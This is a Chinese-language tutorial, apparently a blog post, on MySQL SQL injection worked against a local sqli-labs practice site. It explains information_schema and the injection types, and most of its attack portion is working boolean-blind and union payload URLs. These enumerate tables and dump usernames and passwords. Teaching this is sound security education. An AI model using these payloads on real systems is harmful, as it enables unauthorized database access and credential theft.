SQL注入漏洞详解(一)
注意:以下所有代码的环境:MySQL5.5.20+PHP
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!
由于以下的环境都是MySQL数据库,所以先了解点MySQL有关的知识。
· 5.0以下是多用户单操作
· 5.0以上是多用户多操做
在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
当尝试删除该数据库时,会爆出以下的错误!
drop database information_schema;
ERROR 1044 (42000): Access denied for user 'root'@'localhost'
mysql中注释符:
· 单行注释:#
· 多行注释:/**/
information_schema数据库中三个很重要的表:
· information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
· information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名
· information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
关于这几个表的一些语法:
// 通过这条语句可以得到第一个的数据库名
select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到第一个的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security'limit 0,1
// 通过这条语句可以得到第一个的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
mysql中比较常用的一些函数:
· version():查询数据库的版本
· user():查询数据库的使用者
· database():数据库
· system_user():系统用户名
· session_user():连接数据库的用户名
· current_user:当前用户名
· load_file():读取本地文件
· @@datadir:读取数据库路径
· @@basedir:mysql安装路径
· @@version_complie_os:查看操作系统
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii(“a”)=97
length(str) : 返回给定字符串的长度,如 length(“string”)=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=”in”
也可以 substr(string from start for length)
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’*‘,str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 5:查询前5个 limit 1,1:查询第2个数 limit n,1:查询第n+1个数
也可以 limit 1 offset 0
SQL注入的分类
依据注入点类型分类
· 数字类型的注入
· 字符串类型的注入
· 搜索型注入
依据提交方式分类
· GET注入
· POST注入
· COOKIE注入
· HTTP头注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类
· 基于布尔的盲注
· 基于时间的盲注
· 基于报错的注入
· 联合查询注入
· 堆查询注入 (可同时执行多条语句)
判断是否存在SQL注入
一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。
但是在很多时候,还是需要我们自己手动去判断是否存在SQL注入漏洞。下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。
一:二话不说,先加单引号’、双引号”、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
二:还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
三:还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
MySQL | benchmark(100000000,md(5))sleep(3) |
---|---|
PostgreSQL | PG_sleep(5)Generate_series(1,1000000) |
SQLServer | waitfor delay ‘0:0:5’ |
易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
一:Boolean盲注
盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。
我们来看一个例子:这是sqli的Less-5,我自己对源码稍微改动了一下,使得页面会显示执行的sql语句
通过输入 http://127.0.0.1/sqli/Less-1/?id=1 我们得到了下面的页面
然后输入 http://127.0.0.1/sqli/Less-5/?id=-1 我们得到下面的页面
当我们输入 http://127.0.0.1/sqli/Less-5/?id=1‘ 我们得到下面的页面
由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数 limit 0,1 。当我们输入的语句正确时,就显示You are in…. 当我们输入的语句错误时,就不显示任何数据。当我们的语句有语法错误时,就报出 SQL 语句错误。
于是,我们可以推断出页面的源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查询语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){ //如果查询到数据
echo 'You are in...........';
}else{ //如果没查询到数据
print_r(mysql_error());
}
于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii()、substr() 、length(),exists()、concat()等
1:判断数据库类型
这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?
虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。
MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #
对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:
· table_schema: 记录数据库名;
· table_name: 记录数据表名;
· table_rows: 关于表的粗略行估计;
· data_length : 记录表的大小(单位字节);
2:判断当前数据库名(以下方法不适用于access和SQL Server数据库)
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1'
and
length
(database())>
10
//不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1'
and
length
(database())>
8
//不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1'
and
ascii(
substr
(database(),
2
,
1
))>
100
...........
由此可以判断出当前数据库为 security
3:判断当前数据库中的表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4. 判断表中的字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
由此可判断出users表中存在 id、username、password 字段
5.判断字段中的数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
...........
二:union 注入
union联合查询适用于有显示列的注入。
我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3 #
我们可以通过 union 联合查询来知道显示的列数
127.0.0.1/sqli/Less-1/?id=1′ union select 1 ,2 ,3 #
咦,这里为啥不显示我们联合查询的呢?因为这个页面只显示一行数据,所以我们可以用 and 1=2 把前面的条件给否定了,或者我们直接把前面 id=1 改成 id =-1 ,在后面的代码中,都是将 id=-1进行注入
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #
这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。
我们可以通过这些函数获得该数据库的一些重要的信息
· version() :数据库的版本
· database() :当前所在的数据库
· @@basedir : 数据库的安装目录
· @@datadir :数据库文件的存放目录
· user() :数据库的用户
· current_user() : 当前用户名
· system_user() : 系统用户名
· session_user() :连接到数据库的用户名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),user() #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),@@basedir #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,@@datadir,current_user() #
我们还可以通过union注入获得更多的信息。
// 获得所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables#
// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns#
#获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users%23
当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from informat
如下,我们可以知道users表中有id,username,password三列
我们知道存在users表,又知道表中有 id ,username, password三列,那么我们可以构造如下语句
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users #
我们就把users表中的所有数据都给爆出来了
今天就写到这里啦,内容较多,明天会花时间完成重头部分~